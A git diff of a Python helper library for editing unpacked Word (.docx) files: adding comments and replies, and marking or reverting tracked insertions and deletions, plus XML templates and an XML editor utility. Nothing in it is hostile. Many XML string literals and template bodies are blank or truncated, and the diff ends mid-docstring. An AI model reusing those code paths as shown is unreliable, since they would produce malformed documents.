xml_content): + """Insert before with automatic attribute injection.""" + nodes = super().insert_before(elem, xml_content) + self._inject_attributes_to_nodes(nodes) + return nodes + + def append_to(self, elem, xml_content): + """Append to with automatic attribute injection.""" + nodes = super().append_to(elem, xml_content) + self._inject_attributes_to_nodes(nodes) + return nodes + + def revert_insertion(self, elem): + """Reject an insertion by wrapping its content in a deletion. + + Wraps all runs inside w:ins in w:del, converting w:t to w:delText. + Can process a single w:ins element or a container element with multiple w:ins. + + Args: + elem: Element to process (w:ins, w:p, w:body, etc.) + + Returns: + list: List containing the processed element(s) + + Raises: + ValueError: If the element contains no w:ins elements + + Example: + # Reject a single insertion + ins = doc["word/document.xml"].get_node(tag="w:ins", attrs={"w:id": "5"}) + doc["word/document.xml"].revert_insertion(ins) + + # Reject all insertions in a paragraph + para = doc["word/document.xml"].get_node(tag="w:p", line_number=42) + doc["word/document.xml"].revert_insertion(para) + """ + # Collect insertions + ins_elements = [] + if elem.tagName == "w:ins": + ins_elements.append(elem) + else: + ins_elements.extend(elem.getElementsByTagName("w:ins")) + + # Validate that there are insertions to reject + if not ins_elements: + raise ValueError( + f"revert_insertion requires w:ins elements. " + f"The provided element <{elem.tagName}> contains no insertions. " + ) + + # Process all insertions - wrap all children in w:del + for ins_elem in ins_elements: + runs = list(ins_elem.getElementsByTagName("w:r")) + if not runs: + continue + + # Create deletion wrapper + del_wrapper = self.dom.createElement("w:del") + + # Process each run + for run in runs: + # Convert w:t → w:delText and w:rsidR → w:rsidDel + if run.hasAttribute("w:rsidR"): + run.setAttribute("w:rsidDel", run.getAttribute("w:rsidR")) + run.removeAttribute("w:rsidR") + elif not run.hasAttribute("w:rsidDel"): + run.setAttribute("w:rsidDel", self.rsid) + + for t_elem in list(run.getElementsByTagName("w:t")): + del_text = self.dom.createElement("w:delText") + # Copy ALL child nodes (not just firstChild) to handle entities + while t_elem.firstChild: + del_text.appendChild(t_elem.firstChild) + for i in range(t_elem.attributes.length): + attr = t_elem.attributes.item(i) + del_text.setAttribute(attr.name, attr.value) + t_elem.parentNode.replaceChild(del_text, t_elem) + + # Move all children from ins to del wrapper + while ins_elem.firstChild: + del_wrapper.appendChild(ins_elem.firstChild) + + # Add del wrapper back to ins + ins_elem.appendChild(del_wrapper) + + # Inject attributes to the deletion wrapper + self._inject_attributes_to_nodes([del_wrapper]) + + return [elem] + + def revert_deletion(self, elem): + """Reject a deletion by re-inserting the deleted content. + + Creates w:ins elements after each w:del, copying deleted content and + converting w:delText back to w:t. + Can process a single w:del element or a container element with multiple w:del. + + Args: + elem: Element to process (w:del, w:p, w:body, etc.) + + Returns: + list: If elem is w:del, returns [elem, new_ins]. Otherwise returns [elem]. + + Raises: + ValueError: If the element contains no w:del elements + + Example: + # Reject a single deletion - returns [w:del, w:ins] + del_elem = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "3"}) + nodes = doc["word/document.xml"].revert_deletion(del_elem) + + # Reject all deletions in a paragraph - returns [para] + para = doc["word/document.xml"].get_node(tag="w:p", line_number=42) + nodes = doc["word/document.xml"].revert_deletion(para) + """ + # Collect deletions FIRST - before we modify the DOM + del_elements = [] + is_single_del = elem.tagName == "w:del" + + if is_single_del: + del_elements.append(elem) + else: + del_elements.extend(elem.getElementsByTagName("w:del")) + + # Validate that there are deletions to reject + if not del_elements: + raise ValueError( + f"revert_deletion requires w:del elements. " + f"The provided element <{elem.tagName}> contains no deletions. " + ) + + # Track created insertion (only relevant if elem is a single w:del) + created_insertion = None + + # Process all deletions - create insertions that copy the deleted content + for del_elem in del_elements: + # Clone the deleted runs and convert them to insertions + runs = list(del_elem.getElementsByTagName("w:r")) + if not runs: + continue + + # Create insertion wrapper + ins_elem = self.dom.createElement("w:ins") + + for run in runs: + # Clone the run + new_run = run.cloneNode(True) + + # Convert w:delText → w:t + for del_text in list(new_run.getElementsByTagName("w:delText")): + t_elem = self.dom.createElement("w:t") + # Copy ALL child nodes (not just firstChild) to handle entities + while del_text.firstChild: + t_elem.appendChild(del_text.firstChild) + for i in range(del_text.attributes.length): + attr = del_text.attributes.item(i) + t_elem.setAttribute(attr.name, attr.value) + del_text.parentNode.replaceChild(t_elem, del_text) + + # Update run attributes: w:rsidDel → w:rsidR + if new_run.hasAttribute("w:rsidDel"): + new_run.setAttribute("w:rsidR", new_run.getAttribute("w:rsidDel")) + new_run.removeAttribute("w:rsidDel") + elif not new_run.hasAttribute("w:rsidR"): + new_run.setAttribute("w:rsidR", self.rsid) + + ins_elem.appendChild(new_run) + + # Insert the new insertion after the deletion + nodes = self.insert_after(del_elem, ins_elem.toxml()) + + # If processing a single w:del, track the created insertion + if is_single_del and nodes: + created_insertion = nodes[0] + + # Return based on input type + if is_single_del and created_insertion: + return [elem, created_insertion] + else: + return [elem] + + @staticmethod + def suggest_paragraph(xml_content: str) -> str: + """Transform paragraph XML to add tracked change wrapping for insertion. + + Wraps runs in and adds to w:rPr in w:pPr for numbered lists. + + Args: + xml_content: XML string containing a element + + Returns: + str: Transformed XML with tracked change wrapping + """ + wrapper = f'{xml_content}' + doc = minidom.parseString(wrapper) + para = doc.getElementsByTagName("w:p")[0] + + # Ensure w:pPr exists + pPr_list = para.getElementsByTagName("w:pPr") + if not pPr_list: + pPr = doc.createElement("w:pPr") + para.insertBefore( + pPr, para.firstChild + ) if para.firstChild else para.appendChild(pPr) + else: + pPr = pPr_list[0] + + # Ensure w:rPr exists in w:pPr + rPr_list = pPr.getElementsByTagName("w:rPr") + if not rPr_list: + rPr = doc.createElement("w:rPr") + pPr.appendChild(rPr) + else: + rPr = rPr_list[0] + + # Add to w:rPr + ins_marker = doc.createElement("w:ins") + rPr.insertBefore( + ins_marker, rPr.firstChild + ) if rPr.firstChild else rPr.appendChild(ins_marker) + + # Wrap all non-pPr children in + ins_wrapper = doc.createElement("w:ins") + for child in [c for c in para.childNodes if c.nodeName != "w:pPr"]: + para.removeChild(child) + ins_wrapper.appendChild(child) + para.appendChild(ins_wrapper) + + return para.toxml() + + def suggest_deletion(self, elem): + """Mark a w:r or w:p element as deleted with tracked changes (in-place DOM manipulation). + + For w:r: wraps in , converts to , preserves w:rPr + For w:p (regular): wraps content in , converts to + For w:p (numbered list): adds to w:rPr in w:pPr, wraps content in + + Args: + elem: A w:r or w:p DOM element without existing tracked changes + + Returns: + Element: The modified element + + Raises: + ValueError: If element has existing tracked changes or invalid structure + """ + if elem.nodeName == "w:r": + # Check for existing w:delText + if elem.getElementsByTagName("w:delText"): + raise ValueError("w:r element already contains w:delText") + + # Convert w:t → w:delText + for t_elem in list(elem.getElementsByTagName("w:t")): + del_text = self.dom.createElement("w:delText") + # Copy ALL child nodes (not just firstChild) to handle entities + while t_elem.firstChild: + del_text.appendChild(t_elem.firstChild) + # Preserve attributes like xml:space + for i in range(t_elem.attributes.length): + attr = t_elem.attributes.item(i) + del_text.setAttribute(attr.name, attr.value) + t_elem.parentNode.replaceChild(del_text, t_elem) + + # Update run attributes: w:rsidR → w:rsidDel + if elem.hasAttribute("w:rsidR"): + elem.setAttribute("w:rsidDel", elem.getAttribute("w:rsidR")) + elem.removeAttribute("w:rsidR") + elif not elem.hasAttribute("w:rsidDel"): + elem.setAttribute("w:rsidDel", self.rsid) + + # Wrap in w:del + del_wrapper = self.dom.createElement("w:del") + parent = elem.parentNode + parent.insertBefore(del_wrapper, elem) + parent.removeChild(elem) + del_wrapper.appendChild(elem) + + # Inject attributes to the deletion wrapper + self._inject_attributes_to_nodes([del_wrapper]) + + return del_wrapper + + elif elem.nodeName == "w:p": + # Check for existing tracked changes + if elem.getElementsByTagName("w:ins") or elem.getElementsByTagName("w:del"): + raise ValueError("w:p element already contains tracked changes") + + # Check if it's a numbered list item + pPr_list = elem.getElementsByTagName("w:pPr") + is_numbered = pPr_list and pPr_list[0].getElementsByTagName("w:numPr") + + if is_numbered: + # Add to w:rPr in w:pPr + pPr = pPr_list[0] + rPr_list = pPr.getElementsByTagName("w:rPr") + + if not rPr_list: + rPr = self.dom.createElement("w:rPr") + pPr.appendChild(rPr) + else: + rPr = rPr_list[0] + + # Add marker + del_marker = self.dom.createElement("w:del") + rPr.insertBefore( + del_marker, rPr.firstChild + ) if rPr.firstChild else rPr.appendChild(del_marker) + + # Convert w:t → w:delText in all runs + for t_elem in list(elem.getElementsByTagName("w:t")): + del_text = self.dom.createElement("w:delText") + # Copy ALL child nodes (not just firstChild) to handle entities + while t_elem.firstChild: + del_text.appendChild(t_elem.firstChild) + # Preserve attributes like xml:space + for i in range(t_elem.attributes.length): + attr = t_elem.attributes.item(i) + del_text.setAttribute(attr.name, attr.value) + t_elem.parentNode.replaceChild(del_text, t_elem) + + # Update run attributes: w:rsidR → w:rsidDel + for run in elem.getElementsByTagName("w:r"): + if run.hasAttribute("w:rsidR"): + run.setAttribute("w:rsidDel", run.getAttribute("w:rsidR")) + run.removeAttribute("w:rsidR") + elif not run.hasAttribute("w:rsidDel"): + run.setAttribute("w:rsidDel", self.rsid) + + # Wrap all non-pPr children in + del_wrapper = self.dom.createElement("w:del") + for child in [c for c in elem.childNodes if c.nodeName != "w:pPr"]: + elem.removeChild(child) + del_wrapper.appendChild(child) + elem.appendChild(del_wrapper) + + # Inject attributes to the deletion wrapper + self._inject_attributes_to_nodes([del_wrapper]) + + return elem + + else: + raise ValueError(f"Element must be w:r or w:p, got {elem.nodeName}") + + +def _generate_hex_id() -> str: + """Generate random 8-character hex ID for para/durable IDs. + + Values are constrained to be less than 0x7FFFFFFF per OOXML spec: + - paraId must be < 0x80000000 + - durableId must be < 0x7FFFFFFF + We use the stricter constraint (0x7FFFFFFF) for both. + """ + return f"{random.randint(1, 0x7FFFFFFE):08X}" + + +def _generate_rsid() -> str: + """Generate random 8-character hex RSID.""" + return "".join(random.choices("0123456789ABCDEF", k=8)) + + +class Document: + """Manages comments in unpacked Word documents.""" + + def __init__( + self, + unpacked_dir, + rsid=None, + track_revisions=False, + author="Claude", + initials="C", + ): + """ + Initialize with path to unpacked Word document directory. + Automatically sets up comment infrastructure (people.xml, RSIDs). + + Args: + unpacked_dir: Path to unpacked DOCX directory (must contain word/ subdirectory) + rsid: Optional RSID to use for all comment elements. If not provided, one will be generated. + track_revisions: If True, enables track revisions in settings.xml (default: False) + author: Default author name for comments (default: "Claude") + initials: Default author initials for comments (default: "C") + """ + self.original_path = Path(unpacked_dir) + + if not self.original_path.exists() or not self.original_path.is_dir(): + raise ValueError(f"Directory not found: {unpacked_dir}") + + # Create temporary directory with subdirectories for unpacked content and baseline + self.temp_dir = tempfile.mkdtemp(prefix="docx_") + self.unpacked_path = Path(self.temp_dir) / "unpacked" + shutil.copytree(self.original_path, self.unpacked_path) + + # Pack original directory into temporary .docx for validation baseline (outside unpacked dir) + self.original_docx = Path(self.temp_dir) / "original.docx" + pack_document(self.original_path, self.original_docx, validate=False) + + self.word_path = self.unpacked_path / "word" + + # Generate RSID if not provided + self.rsid = rsid if rsid else _generate_rsid() + print(f"Using RSID: {self.rsid}") + + # Set default author and initials + self.author = author + self.initials = initials + + # Cache for lazy-loaded editors + self._editors = {} + + # Comment file paths + self.comments_path = self.word_path / "comments.xml" + self.comments_extended_path = self.word_path / "commentsExtended.xml" + self.comments_ids_path = self.word_path / "commentsIds.xml" + self.comments_extensible_path = self.word_path / "commentsExtensible.xml" + + # Load existing comments and determine next ID (before setup modifies files) + self.existing_comments = self._load_existing_comments() + self.next_comment_id = self._get_next_comment_id() + + # Convenient access to document.xml editor (semi-private) + self._document = self["word/document.xml"] + + # Setup tracked changes infrastructure + self._setup_tracking(track_revisions=track_revisions) + + # Add author to people.xml + self._add_author_to_people(author) + + def __getitem__(self, xml_path: str) -> DocxXMLEditor: + """ + Get or create a DocxXMLEditor for the specified XML file. + + Enables lazy-loaded editors with bracket notation: + node = doc["word/document.xml"].get_node(tag="w:p", line_number=42) + + Args: + xml_path: Relative path to XML file (e.g., "word/document.xml", "word/comments.xml") + + Returns: + DocxXMLEditor instance for the specified file + + Raises: + ValueError: If the file does not exist + + Example: + # Get node from document.xml + node = doc["word/document.xml"].get_node(tag="w:del", attrs={"w:id": "1"}) + + # Get node from comments.xml + comment = doc["word/comments.xml"].get_node(tag="w:comment", attrs={"w:id": "0"}) + """ + if xml_path not in self._editors: + file_path = self.unpacked_path / xml_path + if not file_path.exists(): + raise ValueError(f"XML file not found: {xml_path}") + # Use DocxXMLEditor with RSID, author, and initials for all editors + self._editors[xml_path] = DocxXMLEditor( + file_path, rsid=self.rsid, author=self.author, initials=self.initials + ) + return self._editors[xml_path] + + def add_comment(self, start, end, text: str) -> int: + """ + Add a comment spanning from one element to another. + + Args: + start: DOM element for the starting point + end: DOM element for the ending point + text: Comment content + + Returns: + The comment ID that was created + + Example: + start_node = cm.get_document_node(tag="w:del", id="1") + end_node = cm.get_document_node(tag="w:ins", id="2") + cm.add_comment(start=start_node, end=end_node, text="Explanation") + """ + comment_id = self.next_comment_id + para_id = _generate_hex_id() + durable_id = _generate_hex_id() + timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + + # Add comment ranges to document.xml immediately + self._document.insert_before(start, self._comment_range_start_xml(comment_id)) + + # If end node is a paragraph, append comment markup inside it + # Otherwise insert after it (for run-level anchors) + if end.tagName == "w:p": + self._document.append_to(end, self._comment_range_end_xml(comment_id)) + else: + self._document.insert_after(end, self._comment_range_end_xml(comment_id)) + + # Add to comments.xml immediately + self._add_to_comments_xml( + comment_id, para_id, text, self.author, self.initials, timestamp + ) + + # Add to commentsExtended.xml immediately + self._add_to_comments_extended_xml(para_id, parent_para_id=None) + + # Add to commentsIds.xml immediately + self._add_to_comments_ids_xml(para_id, durable_id) + + # Add to commentsExtensible.xml immediately + self._add_to_comments_extensible_xml(durable_id) + + # Update existing_comments so replies work + self.existing_comments[comment_id] = {"para_id": para_id} + + self.next_comment_id += 1 + return comment_id + + def reply_to_comment( + self, + parent_comment_id: int, + text: str, + ) -> int: + """ + Add a reply to an existing comment. + + Args: + parent_comment_id: The w:id of the parent comment to reply to + text: Reply text + + Returns: + The comment ID that was created for the reply + + Example: + cm.reply_to_comment(parent_comment_id=0, text="I agree with this change") + """ + if parent_comment_id not in self.existing_comments: + raise ValueError(f"Parent comment with id={parent_comment_id} not found") + + parent_info = self.existing_comments[parent_comment_id] + comment_id = self.next_comment_id + para_id = _generate_hex_id() + durable_id = _generate_hex_id() + timestamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + + # Add comment ranges to document.xml immediately + parent_start_elem = self._document.get_node( + tag="w:commentRangeStart", attrs={"w:id": str(parent_comment_id)} + ) + parent_ref_elem = self._document.get_node( + tag="w:commentReference", attrs={"w:id": str(parent_comment_id)} + ) + + self._document.insert_after( + parent_start_elem, self._comment_range_start_xml(comment_id) + ) + parent_ref_run = parent_ref_elem.parentNode + self._document.insert_after( + parent_ref_run, f'' + ) + self._document.insert_after( + parent_ref_run, self._comment_ref_run_xml(comment_id) + ) + + # Add to comments.xml immediately + self._add_to_comments_xml( + comment_id, para_id, text, self.author, self.initials, timestamp + ) + + # Add to commentsExtended.xml immediately (with parent) + self._add_to_comments_extended_xml( + para_id, parent_para_id=parent_info["para_id"] + ) + + # Add to commentsIds.xml immediately + self._add_to_comments_ids_xml(para_id, durable_id) + + # Add to commentsExtensible.xml immediately + self._add_to_comments_extensible_xml(durable_id) + + # Update existing_comments so replies work + self.existing_comments[comment_id] = {"para_id": para_id} + + self.next_comment_id += 1 + return comment_id + + def __del__(self): + """Clean up temporary directory on deletion.""" + if hasattr(self, "temp_dir") and Path(self.temp_dir).exists(): + shutil.rmtree(self.temp_dir) + + def validate(self) -> None: + """ + Validate the document against XSD schema and redlining rules. + + Raises: + ValueError: If validation fails. + """ + # Create validators with current state + schema_validator = DOCXSchemaValidator( + self.unpacked_path, self.original_docx, verbose=False + ) + redlining_validator = RedliningValidator( + self.unpacked_path, self.original_docx, verbose=False + ) + + # Run validations + if not schema_validator.validate(): + raise ValueError("Schema validation failed") + if not redlining_validator.validate(): + raise ValueError("Redlining validation failed") + + def save(self, destination=None, validate=True) -> None: + """ + Save all modified XML files to disk and copy to destination directory. + + This persists all changes made via add_comment() and reply_to_comment(). + + Args: + destination: Optional path to save to. If None, saves back to original directory. + validate: If True, validates document before saving (default: True). + """ + # Only ensure comment relationships and content types if comment files exist + if self.comments_path.exists(): + self._ensure_comment_relationships() + self._ensure_comment_content_types() + + # Save all modified XML files in temp directory + for editor in self._editors.values(): + editor.save() + + # Validate by default + if validate: + self.validate() + + # Copy contents from temp directory to destination (or original directory) + target_path = Path(destination) if destination else self.original_path + shutil.copytree(self.unpacked_path, target_path, dirs_exist_ok=True) + + # ==================== Private: Initialization ==================== + + def _get_next_comment_id(self): + """Get the next available comment ID.""" + if not self.comments_path.exists(): + return 0 + + editor = self["word/comments.xml"] + max_id = -1 + for comment_elem in editor.dom.getElementsByTagName("w:comment"): + comment_id = comment_elem.getAttribute("w:id") + if comment_id: + try: + max_id = max(max_id, int(comment_id)) + except ValueError: + pass + return max_id + 1 + + def _load_existing_comments(self): + """Load existing comments from files to enable replies.""" + if not self.comments_path.exists(): + return {} + + editor = self["word/comments.xml"] + existing = {} + + for comment_elem in editor.dom.getElementsByTagName("w:comment"): + comment_id = comment_elem.getAttribute("w:id") + if not comment_id: + continue + + # Find para_id from the w:p element within the comment + para_id = None + for p_elem in comment_elem.getElementsByTagName("w:p"): + para_id = p_elem.getAttribute("w14:paraId") + if para_id: + break + + if not para_id: + continue + + existing[int(comment_id)] = {"para_id": para_id} + + return existing + + # ==================== Private: Setup Methods ==================== + + def _setup_tracking(self, track_revisions=False): + """Set up comment infrastructure in unpacked directory. + + Args: + track_revisions: If True, enables track revisions in settings.xml + """ + # Create or update word/people.xml + people_file = self.word_path / "people.xml" + self._update_people_xml(people_file) + + # Update XML files + self._add_content_type_for_people(self.unpacked_path / "[Content_Types].xml") + self._add_relationship_for_people( + self.word_path / "_rels" / "document.xml.rels" + ) + + # Always add RSID to settings.xml, optionally enable trackRevisions + self._update_settings( + self.word_path / "settings.xml", track_revisions=track_revisions + ) + + def _update_people_xml(self, path): + """Create people.xml if it doesn't exist.""" + if not path.exists(): + # Copy from template + shutil.copy(TEMPLATE_DIR / "people.xml", path) + + def _add_content_type_for_people(self, path): + """Add people.xml content type to [Content_Types].xml if not already present.""" + editor = self["[Content_Types].xml"] + + if self._has_override(editor, "/word/people.xml"): + return + + # Add Override element + root = editor.dom.documentElement + override_xml = '' + editor.append_to(root, override_xml) + + def _add_relationship_for_people(self, path): + """Add people.xml relationship to document.xml.rels if not already present.""" + editor = self["word/_rels/document.xml.rels"] + + if self._has_relationship(editor, "people.xml"): + return + + root = editor.dom.documentElement + root_tag = root.tagName # type: ignore + prefix = root_tag.split(":")[0] + ":" if ":" in root_tag else "" + next_rid = editor.get_next_rid() + + # Create the relationship entry + rel_xml = f'<{prefix}Relationship Id="{next_rid}" Type="http://schemas.microsoft.com/office/2011/relationships/people" Target="people.xml"/>' + editor.append_to(root, rel_xml) + + def _update_settings(self, path, track_revisions=False): + """Add RSID and optionally enable track revisions in settings.xml. + + Args: + path: Path to settings.xml + track_revisions: If True, adds trackRevisions element + + Places elements per OOXML schema order: + - trackRevisions: early (before defaultTabStop) + - rsids: late (after compat) + """ + editor = self["word/settings.xml"] + root = editor.get_node(tag="w:settings") + prefix = root.tagName.split(":")[0] if ":" in root.tagName else "w" + + # Conditionally add trackRevisions if requested + if track_revisions: + track_revisions_exists = any( + elem.tagName == f"{prefix}:trackRevisions" + for elem in editor.dom.getElementsByTagName(f"{prefix}:trackRevisions") + ) + + if not track_revisions_exists: + track_rev_xml = f"<{prefix}:trackRevisions/>" + # Try to insert before documentProtection, defaultTabStop, or at start + inserted = False + for tag in [f"{prefix}:documentProtection", f"{prefix}:defaultTabStop"]: + elements = editor.dom.getElementsByTagName(tag) + if elements: + editor.insert_before(elements[0], track_rev_xml) + inserted = True + break + if not inserted: + # Insert as first child of settings + if root.firstChild: + editor.insert_before(root.firstChild, track_rev_xml) + else: + editor.append_to(root, track_rev_xml) + + # Always check if rsids section exists + rsids_elements = editor.dom.getElementsByTagName(f"{prefix}:rsids") + + if not rsids_elements: + # Add new rsids section + rsids_xml = f'''<{prefix}:rsids> + <{prefix}:rsidRoot {prefix}:val="{self.rsid}"/> + <{prefix}:rsid {prefix}:val="{self.rsid}"/> +''' + + # Try to insert after compat, before clrSchemeMapping, or before closing tag + inserted = False + compat_elements = editor.dom.getElementsByTagName(f"{prefix}:compat") + if compat_elements: + editor.insert_after(compat_elements[0], rsids_xml) + inserted = True + + if not inserted: + clr_elements = editor.dom.getElementsByTagName( + f"{prefix}:clrSchemeMapping" + ) + if clr_elements: + editor.insert_before(clr_elements[0], rsids_xml) + inserted = True + + if not inserted: + editor.append_to(root, rsids_xml) + else: + # Check if this rsid already exists + rsids_elem = rsids_elements[0] + rsid_exists = any( + elem.getAttribute(f"{prefix}:val") == self.rsid + for elem in rsids_elem.getElementsByTagName(f"{prefix}:rsid") + ) + + if not rsid_exists: + rsid_xml = f'<{prefix}:rsid {prefix}:val="{self.rsid}"/>' + editor.append_to(rsids_elem, rsid_xml) + + # ==================== Private: XML File Creation ==================== + + def _add_to_comments_xml( + self, comment_id, para_id, text, author, initials, timestamp + ): + """Add a single comment to comments.xml.""" + if not self.comments_path.exists(): + shutil.copy(TEMPLATE_DIR / "comments.xml", self.comments_path) + + editor = self["word/comments.xml"] + root = editor.get_node(tag="w:comments") + + escaped_text = ( + text.replace("&", "&").replace("<", "<").replace(">", ">") + ) + # Note: w:rsidR, w:rsidRDefault, w:rsidP on w:p, w:rsidR on w:r, + # and w:author, w:date, w:initials on w:comment are automatically added by DocxXMLEditor + comment_xml = f''' + + + {escaped_text} + +''' + editor.append_to(root, comment_xml) + + def _add_to_comments_extended_xml(self, para_id, parent_para_id): + """Add a single comment to commentsExtended.xml.""" + if not self.comments_extended_path.exists(): + shutil.copy( + TEMPLATE_DIR / "commentsExtended.xml", self.comments_extended_path + ) + + editor = self["word/commentsExtended.xml"] + root = editor.get_node(tag="w15:commentsEx") + + if parent_para_id: + xml = f'' + else: + xml = f'' + editor.append_to(root, xml) + + def _add_to_comments_ids_xml(self, para_id, durable_id): + """Add a single comment to commentsIds.xml.""" + if not self.comments_ids_path.exists(): + shutil.copy(TEMPLATE_DIR / "commentsIds.xml", self.comments_ids_path) + + editor = self["word/commentsIds.xml"] + root = editor.get_node(tag="w16cid:commentsIds") + + xml = f'' + editor.append_to(root, xml) + + def _add_to_comments_extensible_xml(self, durable_id): + """Add a single comment to commentsExtensible.xml.""" + if not self.comments_extensible_path.exists(): + shutil.copy( + TEMPLATE_DIR / "commentsExtensible.xml", self.comments_extensible_path + ) + + editor = self["word/commentsExtensible.xml"] + root = editor.get_node(tag="w16cex:commentsExtensible") + + xml = f'' + editor.append_to(root, xml) + + # ==================== Private: XML Fragments ==================== + + def _comment_range_start_xml(self, comment_id): + """Generate XML for comment range start.""" + return f'' + + def _comment_range_end_xml(self, comment_id): + """Generate XML for comment range end with reference run. + + Note: w:rsidR is automatically added by DocxXMLEditor. + """ + return f''' + + + +''' + + def _comment_ref_run_xml(self, comment_id): + """Generate XML for comment reference run. + + Note: w:rsidR is automatically added by DocxXMLEditor. + """ + return f''' + + +''' + + # ==================== Private: Metadata Updates ==================== + + def _has_relationship(self, editor, target): + """Check if a relationship with given target exists.""" + for rel_elem in editor.dom.getElementsByTagName("Relationship"): + if rel_elem.getAttribute("Target") == target: + return True + return False + + def _has_override(self, editor, part_name): + """Check if an override with given part name exists.""" + for override_elem in editor.dom.getElementsByTagName("Override"): + if override_elem.getAttribute("PartName") == part_name: + return True + return False + + def _has_author(self, editor, author): + """Check if an author already exists in people.xml.""" + for person_elem in editor.dom.getElementsByTagName("w15:person"): + if person_elem.getAttribute("w15:author") == author: + return True + return False + + def _add_author_to_people(self, author): + """Add author to people.xml (called during initialization).""" + people_path = self.word_path / "people.xml" + + # people.xml should already exist from _setup_tracking + if not people_path.exists(): + raise ValueError("people.xml should exist after _setup_tracking") + + editor = self["word/people.xml"] + root = editor.get_node(tag="w15:people") + + # Check if author already exists + if self._has_author(editor, author): + return + + # Add author with proper XML escaping to prevent injection + escaped_author = html.escape(author, quote=True) + person_xml = f''' + +''' + editor.append_to(root, person_xml) + + def _ensure_comment_relationships(self): + """Ensure word/_rels/document.xml.rels has comment relationships.""" + editor = self["word/_rels/document.xml.rels"] + + if self._has_relationship(editor, "comments.xml"): + return + + root = editor.dom.documentElement + root_tag = root.tagName # type: ignore + prefix = root_tag.split(":")[0] + ":" if ":" in root_tag else "" + next_rid_num = int(editor.get_next_rid()[3:]) + + # Add relationship elements + rels = [ + ( + next_rid_num, + "http://schemas.openxmlformats.org/officeDocument/2006/relationships/comments", + "comments.xml", + ), + ( + next_rid_num + 1, + "http://schemas.microsoft.com/office/2011/relationships/commentsExtended", + "commentsExtended.xml", + ), + ( + next_rid_num + 2, + "http://schemas.microsoft.com/office/2016/09/relationships/commentsIds", + "commentsIds.xml", + ), + ( + next_rid_num + 3, + "http://schemas.microsoft.com/office/2018/08/relationships/commentsExtensible", + "commentsExtensible.xml", + ), + ] + + for rel_id, rel_type, target in rels: + rel_xml = f'<{prefix}Relationship Id="rId{rel_id}" Type="{rel_type}" Target="{target}"/>' + editor.append_to(root, rel_xml) + + def _ensure_comment_content_types(self): + """Ensure [Content_Types].xml has comment content types.""" + editor = self["[Content_Types].xml"] + + if self._has_override(editor, "/word/comments.xml"): + return + + root = editor.dom.documentElement + + # Add Override elements + overrides = [ + ( + "/word/comments.xml", + "application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml", + ), + ( + "/word/commentsExtended.xml", + "application/vnd.openxmlformats-officedocument.wordprocessingml.commentsExtended+xml", + ), + ( + "/word/commentsIds.xml", + "application/vnd.openxmlformats-officedocument.wordprocessingml.commentsIds+xml", + ), + ( + "/word/commentsExtensible.xml", + "application/vnd.openxmlformats-officedocument.wordprocessingml.commentsExtensible+xml", + ), + ] + + for part_name, content_type in overrides: + override_xml = ( + f'' + ) + editor.append_to(root, override_xml) diff --git a/skills/docx/scripts/templates/comments.xml b/skills/docx/scripts/templates/comments.xml new file mode 100644 index 00000000..b5dace0e --- /dev/null +++ b/skills/docx/scripts/templates/comments.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/skills/docx/scripts/templates/commentsExtended.xml b/skills/docx/scripts/templates/commentsExtended.xml new file mode 100644 index 00000000..b4cf23e3 --- /dev/null +++ b/skills/docx/scripts/templates/commentsExtended.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/skills/docx/scripts/templates/commentsExtensible.xml b/skills/docx/scripts/templates/commentsExtensible.xml new file mode 100644 index 00000000..e32a05e0 --- /dev/null +++ b/skills/docx/scripts/templates/commentsExtensible.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/skills/docx/scripts/templates/commentsIds.xml b/skills/docx/scripts/templates/commentsIds.xml new file mode 100644 index 00000000..d04bc8e0 --- /dev/null +++ b/skills/docx/scripts/templates/commentsIds.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/skills/docx/scripts/templates/people.xml b/skills/docx/scripts/templates/people.xml new file mode 100644 index 00000000..a839cafe --- /dev/null +++ b/skills/docx/scripts/templates/people.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/skills/docx/scripts/utilities.py b/skills/docx/scripts/utilities.py new file mode 100755 index 00000000..d92dae61 --- /dev/null +++ b/skills/docx/scripts/utilities.py @@ -0,0 +1,374 @@ +#!/usr/bin/env python3 +""" +Utilities for editing OOXML documents. + +This module provides XMLEditor, a tool for manipulating XML files with support for +line-number-based node finding and DOM manipulation. Each element is automatically +annotated with its original line and column position during parsing. + +Example usage: + editor = XMLEditor("document.xml") + + # Find node by line number or range + elem = editor.get_node(tag="w:r", line_number=519) + elem = editor.get_node(tag="w:p", line_number=range(100, 200)) + + # Find node by text content + elem = editor.get_node(tag="w:p", contains="specific text") + + # Find node by attributes + elem = editor.get_node(tag="w:r", attrs={"w:id": "target"}) + + # Combine filters + elem = editor.get_node(tag="w:p", line_number=range(1, 50), contains="text") + + # Replace, insert, or manipulate + new_elem = editor.replace_node(elem, "new text") + editor.insert_after(new_elem, "more") + + # Save changes + editor.save() +""" + +import html +from pathlib import Path +from typing import Optional, Union + +import defusedxml.minidom +import defusedxml.sax + + +class XMLEditor: + """ + Editor for manipulating OOXML XML files with line-number-based node finding. + + This class parses XML files and tracks the original line and column position + of each element. This enables finding nodes by their line number in the original + file, which is useful when working with Read tool output. + + Attributes: + xml_path: Path to the XML file being edited + encoding: Detected encoding of the XML file ('ascii' or 'utf-8') + dom: Parsed DOM tree with parse_position attributes on elements + """ + + def __init__(self, xml_path): + """ + Initialize with path to XML file and parse with line number tracking. + + Args: + xml_path: Path to XML file to edit (str or Path) + + Raises: + ValueError: If the XML file does not exist + """ + self.xml_path = Path(xml_path) + if not self.xml_path.exists(): + raise ValueError(f"XML file not found: {xml_path}") + + with open(self.xml_path, "rb") as f: + header = f.read(200).decode("utf-8", errors="ignore") + self.encoding = "ascii" if 'encoding="ascii"' in header else "utf-8" + + parser = _create_line_tracking_parser() + self.dom = defusedxml.minidom.parse(str(self.xml_path), parser) + + def get_node( + self, + tag: str, + attrs: Optional[dict[str, str]] = None, + line_number: Optional[Union[int, range]] = None, + contains: Optional[str] = None, + ): + """ + Get a DOM element by tag and identifier. + + Finds an element by either its line number in the original file or by + matching attribute values. Exactly one match must be found. + + Args: + tag: The XML tag name (e.g., "w:del", "w:ins", "w:r") + attrs: Dictionary of attribute name-value pairs to match (e.g., {"w:id": 